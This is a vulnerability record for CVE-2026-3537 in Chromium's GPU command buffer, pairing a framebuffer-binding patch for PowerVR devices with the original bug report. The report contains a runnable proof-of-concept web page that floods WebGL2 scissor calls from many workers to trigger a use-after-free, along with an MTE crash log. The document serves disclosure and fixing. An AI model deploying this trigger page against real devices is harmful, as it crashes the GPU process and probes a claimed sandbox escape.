CVE-2026-3537
Overview
Changed Functions
| Function | Change | Notes |
|---|---|---|
switchgpu/command_buffer/service/context_group.cc |
modified | |
ifgpu/command_buffer/service/feature_info.cc |
modified |
Files Changed
gpu/command_buffer/service/context_group.ccgpu/command_buffer/service/context_group.hgpu/command_buffer/service/decoder_context.hgpu/command_buffer/service/feature_info.cc
Patch
From be29697e35d08f973c9ace3de6797a9a9b4a6fae Mon Sep 17 00:00:00 2001 From: Geoff Lang <[email protected]> Date: Wed, 25 Feb 2026 14:14:55 -0800 Subject: [PATCH] [m145] Ensure the previous complete fbo is not deleted on IMG. (cherry picked from commit 12f9329852751a2318a6c5b0149268b23004f93e) Bug: 474266014 Change-Id: I7d84833312749fc58ecb511b276ff6bd783af1ba Reviewed-on: https://chromium-review.googlesource.com/c/chromium/src/+/7533383 Reviewed-by: Vasiliy Telezhnikov <[email protected]> Commit-Queue: Geoff Lang <[email protected]> Cr-Original-Commit-Position: refs/heads/main@{#1583241} Reviewed-on: https://chromium-review.googlesource.com/c/chromium/src/+/7608619 Reviewed-by: Shahbaz Youssefi <[email protected]> Commit-Queue: Peter McNeeley <[email protected]> Cr-Commit-Position: refs/branch-heads/7632@{#3388} Cr-Branched-From: 0bbdf2913883391365383b0a5dfe7bf9fd1a5213-refs/heads/main@{#1568190} --- diff --git a/gpu/command_buffer/service/context_group.cc b/gpu/command_buffer/service/context_group.cc index 9a913cd..4a3a68b4 100644 --- a/gpu/command_buffer/service/context_group.cc +++ b/gpu/command_buffer/service/context_group.cc @@ -120,9 +120,17 @@ use_passthrough_cmd_decoder_ = gpu_preferences_.use_passthrough_cmd_decoder; } - gpu::ContextResult ContextGroup::Initialize(DecoderContext* decoder, ContextType context_type) { + return InitializeWithCompleteFramebufferForWorkarounds(decoder, context_type, + 0); +} + +gpu::ContextResult +ContextGroup::InitializeWithCompleteFramebufferForWorkarounds( + DecoderContext* decoder, + ContextType context_type, + uint32_t complete_fbo_for_workarounds) { switch (context_type) { case CONTEXT_TYPE_WEBGL1: if (kGpuFeatureStatusBlocklisted == @@ -156,8 +164,9 @@ DisallowedFeatures adjusted_disallowed_features = GetDisallowedFeatures(context_type); - feature_info_->Initialize(context_type, use_passthrough_cmd_decoder_, - adjusted_disallowed_features); + feature_info_->InitializeWithCompleteFramebufferForWorkarounds( + context_type, use_passthrough_cmd_decoder_, adjusted_disallowed_features, + complete_fbo_for_workarounds); // Fail early if ES3 is requested and driver does not support it. if ((context_type == CONTEXT_TYPE_WEBGL2 || diff --git a/gpu/command_buffer/service/context_group.h b/gpu/command_buffer/service/context_group.h index 78ea1ccd..051d812 100644 --- a/gpu/command_buffer/service/context_group.h +++ b/gpu/command_buffer/service/context_group.h @@ -72,7 +72,10 @@ // call to destroy if it succeeds. gpu::ContextResult Initialize(DecoderContext* decoder, ContextType context_type); - + gpu::ContextResult InitializeWithCompleteFramebufferForWorkarounds( + DecoderContext* decoder, + ContextType context_type, + uint32_t complete_fbo_for_workarounds); // Destroys all the resources when called for the last context in the group. // It should only be called by DecoderContext. void Destroy(DecoderContext* decoder, bool have_context); diff --git a/gpu/command_buffer/service/decoder_context.h b/gpu/command_buffer/service/decoder_context.h index f00ad245..96edc25 100644 --- a/gpu/command_buffer/service/decoder_context.h +++ b/gpu/command_buffer/service/decoder_context.h @@ -140,6 +140,12 @@ virtual gles2::ErrorState* GetErrorState() = 0; // + // Methods required by GLES2 Decoder helpers + // + // Bind the framebuffer `service_id` and perform any workarounds needed. + virtual void BindFramebuffer(unsigned target, uint32_t service_id) const = 0; + + // // Methods required by Texture. // // Indicates whether a given internal format is one for a compressed diff --git a/gpu/command_buffer/service/feature_info.cc b/gpu/command_buffer/service/feature_info.cc index a4aed67..378bb5d 100644 --- a/gpu/command_buffer/service/feature_info.cc +++ b/gpu/command_buffer/service/feature_info.cc @@ -63,7 +63,8 @@ bool IsWebGLDrawBuffersSupported(bool webglCompatibilityContext, GLenum depth_texture_internal_format, - GLenum depth_stencil_texture_internal_format) { + GLenum depth_stencil_texture_internal_format, + GLuint complete_fbo_for_workarounds) { // This is called after we make sure GL_EXT_draw_buffers is supported. GLint max_draw_buffers = 0; GLint max_color_attachments = 0; @@ -80,6 +81,9 @@ GLuint fbo; glGenFramebuffersEXT(1, &fbo); + if (complete_fbo_for_workarounds) { + glBindFramebufferEXT(GL_FRAMEBUFFER, complete_fbo_for_workarounds); + } glBindFramebufferEXT(GL_FRAMEBUFFER, fbo); GLuint depth_stencil_texture = 0; @@ -156,6 +160,9 @@ } } + if (complete_fbo_for_workarounds) { + glBindFramebufferEXT(GL_FRAMEBUFFER, complete_fbo_for_workarounds); + } glBindFramebufferEXT(GL_FRAMEBUFFER, static_cast<GLuint>(fb_binding)); glDeleteFramebuffersEXT(1, &fbo); @@ -235,6 +242,15 @@ void FeatureInfo::Initialize(ContextType context_type, bool is_passthrough_cmd_decoder, const DisallowedFeatures& disallowed_features) { + InitializeWithCompleteFramebufferForWorkarounds( + context_type, is_passthrough_cmd_decoder, disallowed_features, 0); +} + +void FeatureInfo::InitializeWithCompleteFramebufferForWorkarounds( + ContextType context_type, + bool is_passthrough_cmd_decoder, + const DisallowedFeatures& disallowed_features, + unsigned complete_fbo_for_workarounds) { if (initialized_) { DCHECK_EQ(context_type, context_type_); DCHECK_EQ(is_passthrough_cmd_decoder, is_passthrough_cmd_decoder_); @@ -245,14 +261,14 @@ disallowed_features_ = disallowed_features; context_type_ = context_type; is_passthrough_cmd_decoder_ = is_passthrough_cmd_decoder; - InitializeFeatures(); + InitializeFeatures(complete_fbo_for_workarounds); initialized_ = true; } void FeatureInfo::ForceReinitialize() { CHECK(initialized_); CHECK(is_passthrough_cmd_decoder_); - InitializeFeatures(); + InitializeFeatures(0); } void FeatureInfo::InitializeForTesting( @@ -274,7 +290,7 @@ DisallowedFeatures()); } -bool IsGL_REDSupportedOnFBOs() { +bool IsGL_REDSupportedOnFBOs(uint32_t complete_fbo_for_workarounds) { #if BUILDFLAG(IS_MAC) // The glTexImage2D call below can hang on Mac so skip this since it's only // really needed to workaround a Mesa issue. See https://crbug.com/1158744. @@ -308,6 +324,9 @@ GL_UNSIGNED_BYTE, nullptr); GLuint textureFBOID = 0; glGenFramebuffersEXT(1, &textureFBOID); + if (complete_fbo_for_workarounds) { + glBindFramebufferEXT(GL_FRAMEBUFFER, complete_fbo_for_workarounds); + } glBindFramebufferEXT(GL_FRAMEBUFFER, textureFBOID); glFramebufferTexture2DEXT(GL_FRAMEBUFFER, GL_COLOR_ATTACHMENT0, GL_TEXTURE_2D, textureId, 0); @@ -316,6 +335,9 @@ glDeleteFramebuffersEXT(1, &textureFBOID); glDeleteTextures(1, &textureId); + if (complete_fbo_for_workarounds) { + glBindFramebufferEXT(GL_FRAMEBUFFER, complete_fbo_for_workarounds); + } glBindFramebufferEXT(GL_FRAMEBUFFER, static_cast<GLuint>(fb_binding)); glBindTexture(GL_TEXTURE_2D, static_cast<GLuint>(tex_binding)); @@ -473,7 +495,7 @@ } } -void FeatureInfo::InitializeFeatures() { +void FeatureInfo::InitializeFeatures(uint32_t complete_fbo_for_workarounds) { // Figure out what extensions to turn on. std::string extensions_string(gl::GetGLExtensionsFromCurrentContext()); gfx::ExtensionSet extensions(gfx::MakeExtensionSet(extensions_string)); @@ -1261,9 +1283,9 @@ can_emulate_es2_draw_buffers_on_es3_nv) && (context_type_ == CONTEXT_TYPE_OPENGLES2 || (context_type_ == CONTEXT_TYPE_WEBGL1 && - IsWebGLDrawBuffersSupported(is_webgl_compatibility_context, - depth_texture_format, - depth_stencil_texture_format)));
Original Bug Report
Chrome sandbox escape via libGLESv2_powervr.so
Security Bug
Important: Please do not change the component of this bug manually.
Please READ THIS FAQ before filing a bug: https://chromium.googlesource.com/chromium/src/+/HEAD/docs/security/faq.md
Please see the following link for instructions on filing security bugs: https://www.chromium.org/Home/chromium-security/reporting-security-bugs
Reports may be eligible for reward payments under the Chrome VRP: https://g.co/chrome/vrp
NOTE: Security bugs are normally made public once a fix has been widely deployed.
VULNERABILITY DETAILS
The root cause is a concurrency failure within the PowerVR driver’s internal state machine. Specifically, the driver lacks sufficient reference counting or synchronization locks to protect the GLES3Context structures when a resource destruction event (like a canvas resize) occurs simultaneously with a rapid stream of state-change commands (glScissor). MTE on the Pixel 10 identifies this as a Tag Mismatch, confirming that SetScissor is attempting to operate on a memory object that has already been deallocated.
VERSION Chrome Version: latest Operating System: android with powervr
REPRODUCTION CASE
- access poc.html on pixel10 with mte enable
- adb logcat
<script>
const trigger = () => {
const workerCode = `
onmessage = function() {
const canvas = new OffscreenCanvas(100, 100);
const gl = canvas.getContext('webgl2');
if(!gl) return;
setInterval(() => {
for (let i = 0; i < 1000; i++) {
gl.enable(gl.SCISSOR_TEST);
gl.scissor(Math.random()*50, Math.random()*50, 10, 10);
if (i % 20 === 0) {
canvas.width = (i % 2 === 0) ? 10 : 11;
}
}
gl.clear(gl.COLOR_BUFFER_BIT);
}, 0);
}
`;
const blob = new Blob([workerCode], { type: 'text/javascript' });
const url = URL.createObjectURL(blob);
for (let i = 0; i < 10; i++) {
const worker = new Worker(url);
worker.postMessage('start');
}
};
trigger();
</script>
Many people have encountered this crash; I’ve only analyzed the causes from others. This vulnerability has existed for a long time but hasn’t been fixed. It’s a vulnerability that can cause sandbox escape on Android Chrome or browsers using the Chromium kernel, and it should be fixed immediately.This is a vulnerability that’s easy to reproduce; my proof-of-concept (PoC) should allow you to reproduce it quickly. If you can’t reproduce it, simply visit https://panic.com/transmit/ and scroll around the page for a bit.
type: crash
*** *** *** *** *** *** *** *** *** *** *** *** *** *** *** ***
Build fingerprint: 'google/blazer/blazer:16/BP4A.251205.006.E1/2025122501:user/release-keys'
Kernel Release: '6.6.119-android15-8-gf9fb720507e2-4k'
Revision: 'MP1.0'
ABI: 'arm64'
Timestamp: 2025-12-28 02:25:57.567181303-0500
Process uptime: 124s
Executable: /system/bin/app_process64
Cmdline: app.vanadium.browser:privileged_process2
pid: 30726, tid: 30750, name: CrGpuMain >>> app.vanadium.browser:privileged_process2 <<<
uid: 10138
tagged_addr_ctrl: 000000000007fff7 (PR_TAGGED_ADDR_ENABLE, PR_MTE_TCF_SYNC, PR_MTE_TCF_ASYNC, mask 0xfffe)
pac_enabled_keys: 000000000000000f (PR_PAC_APIAKEY, PR_PAC_APIBKEY, PR_PAC_APDAKEY, PR_PAC_APDBKEY)
esr: 0000000092000011 (Data Abort Exception 0x24)
signal 11 (SIGSEGV), code 9 (SEGV_MTESERR), fault addr 0x0000dcf7cb21b160 (read)
x0 0a00dddce992f000 x1 0000000000000000 x2 0000000000000000 x3 0000000000000000
x4 0000000000000040 x5 0000000000000040 x6 0000000000000000 x7 0000db16a2556413
x8 0a00dddce992f1e8 x9 0a00dddce993a000 x10 0f00dcf7cb21b060 x11 0000000000000001
x12 0000000000000000 x13 0000000000000000 x14 0000db16b3f38fb0 x15 0000db16af631000
x16 0000db1742528dd0 x17 0000de4e62ac5640 x18 0000db16b2944000 x19 0a00dddce992f000
x20 0000000000000040 x21 0000000000000040 x22 0000000000000000 x23 0000000000000000
x24 0000000000000000 x25 000000000000b048 x26 0000db1200f8079c x27 0000db16af4c9000
x28 0000db16b3ff4040 x29 0000db16b3f38fb0
lr 0000db1742528eb8 sp 0000db16b3f38fa0 pc 0000db1742528f6c pst 0000000080001000
esr 0000000092000011
25 total frames
backtrace:
#00 pc 000000000010ff6c /vendor/lib64/egl/libGLESv2_powervr.so (SetScissor+76) (BuildId: 9a7a0b1a4e57d0209e2ced81459460aa)
#01 pc 000000000010feb4 /vendor/lib64/egl/libGLESv2_powervr.so (Impl_glScissor(int, int, int, int, GLES3Context_TAG*) (.__uniq.77782139865804364555287636204600767741)+100) (BuildId: 9a7a0b1a4e57d0209e2ced81459460aa)
#02 pc 00000000094a13ec /product/app/TrichromeLibrary/TrichromeLibrary.apk!libmonochrome_64.so (offset 0x918000) (BuildId: d9a5874e02b3783d2453020be8ea37417d73f5b6)
#03 pc 00000000094e184c /product/app/TrichromeLibrary/TrichromeLibrary.apk!libmonochrome_64.so (offset 0x918000) (BuildId: d9a5874e02b3783d2453020be8ea37417d73f5b6)
#04 pc 00000000095ac5d8 /product/app/TrichromeLibrary/TrichromeLibrary.apk!libmonochrome_64.so (offset 0x918000) (BuildId: d9a5874e02b3783d2453020be8ea37417d73f5b6)
#05 pc 00000000085c0fac /product/app/TrichromeLibrary/TrichromeLibrary.apk!libmonochrome_64.so (offset 0x918000) (BuildId: d9a5874e02b3783d2453020be8ea37417d73f5b6)
#06 pc 0000000006d776e4 /product/app/TrichromeLibrary/TrichromeLibrary.apk!libmonochrome_64.so (offset 0x918000) (BuildId: d9a5874e02b3783d2453020be8ea37417d73f5b6)
#07 pc 000000000650b078 /product/app/TrichromeLibrary/TrichromeLibrary.apk!libmonochrome_64.so (offset 0x918000) (BuildId: d9a5874e02b3783d2453020be8ea37417d73f5b6)
#08 pc 00000000052a1260 /product/app/TrichromeLibrary/TrichromeLibrary.apk!libmonochrome_64.so (offset 0x918000) (BuildId: d9a5874e02b3783d2453020be8ea37417d73f5b6)
#09 pc 00000000079940d8 /product/app/TrichromeLibrary/TrichromeLibrary.apk!libmonochrome_64.so (offset 0x918000) (BuildId: d9a5874e02b3783d2453020be8ea37417d73f5b6)
#10 pc 0000000007ebead4 /product/app/TrichromeLibrary/TrichromeLibrary.apk!libmonochrome_64.so (offset 0x918000) (BuildId: d9a5874e02b3783d2453020be8ea37417d73f5b6)
#11 pc 000000000c18a38c /product/app/TrichromeLibrary/TrichromeLibrary.apk!libmonochrome_64.so (offset 0x918000) (BuildId: d9a5874e02b3783d2453020be8ea37417d73f5b6)
#12 pc 0000000004e2788c /product/app/TrichromeLibrary/TrichromeLibrary.apk!libmonochrome_64.so (offset 0x918000) (BuildId: d9a5874e02b3783d2453020be8ea37417d73f5b6)
#13 pc 0000000004e28af8 /product/app/TrichromeLibrary/TrichromeLibrary.apk!libmonochrome_64.so (offset 0x918000) (BuildId: d9a5874e02b3783d2453020be8ea37417d73f5b6)
#14 pc 0000000007d5a7e0 /product/app/TrichromeLibrary/TrichromeLibrary.apk!libmonochrome_64.so (offset 0x918000) (BuildId: d9a5874e02b3783d2453020be8ea37417d73f5b6)
#15 pc 0000000007d5a404 /product/app/TrichromeLibrary/TrichromeLibrary.apk!libmonochrome_64.so (offset 0x918000) (BuildId: d9a5874e02b3783d2453020be8ea37417d73f5b6)
#16 pc 0000000000316900 /apex/com.android.art/lib64/libart.so (art_quick_generic_jni_trampoline+144) (BuildId: beb7fbd1d32b8638db451308cec29e5b)
#17 pc 00000000007c31cc /data/dalvik-cache/arm64/product@app@[email protected]@classes.dex (ab1.run+2060)
#18 pc 00000000000a95e0 /system/framework/arm64/boot.oat (java.lang.Thread.run+64) (BuildId: 83c55c7af947c7428eded573796085d1b82ebd45)
#19 pc 00000000002ff594 /apex/com.android.art/lib64/libart.so (art_quick_invoke_stub+612) (BuildId: beb7fbd1d32b8638db451308cec29e5b)
#20 pc 00000000002711c0 /apex/com.android.art/lib64/libart.so (art::ArtMethod::Invoke(art::Thread*, unsigned int*, unsigned int, art::JValue*, char const*)+224) (BuildId: beb7fbd1d32b8638db451308cec29e5b)
#21 pc 000000000049ce4c /apex/com.android.art/lib64/libart.so (art::Thread::CreateCallback(void*)+1180) (BuildId: beb7fbd1d32b8638db451308cec29e5b)
#22 pc 000000000049c99c /apex/com.android.art/lib64/libart.so (art::Thread::CreateCallbackWithUffdGc(void*)+12) (BuildId: beb7fbd1d32b8638db451308cec29e5b)
#23 pc 0000000000091584 /apex/com.android.runtime/lib64/bionic/libc.so (__pthread_start(void*) (.__uniq.67847048707805468364044055584648682506)+180) (BuildId: b2e2593ea9af5cb426017f2c32a8fcf5)
#24 pc 00000000000813d4 /apex/com.android.runtime/lib64/bionic/libc.so (__start_thread+68) (BuildId: b2e2593ea9af5cb426017f2c32a8fcf5)
Memory tags around the fault address (0xdcf7cb21b160), one tag per 16 bytes:
0xdcf7cb21a900: 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0
0xdcf7cb21aa00: 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0
0xdcf7cb21ab00: 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0
0xdcf7cb21ac00: 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0
0xdcf7cb21ad00: 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0
0xdcf7cb21ae00: 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0
0xdcf7cb21af00: 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0
0xdcf7cb21b000: 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0
=>0xdcf7cb21b100: 0 0 0 0 0 0 [0] 0 0 0 0 0 0 0 0 0
0xdcf7cb21b200: 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0
0xdcf7cb21b300: 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0
0xdcf7cb21b400: 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0
0xdcf7cb21b500: 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0
0xdcf7cb21b600: 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0
0xdcf7cb21b700: 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0
0xdcf7cb21b800: 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0
Learn more about MTE reports: https://source.android.com/docs/security/test/memory-safety/mte-reports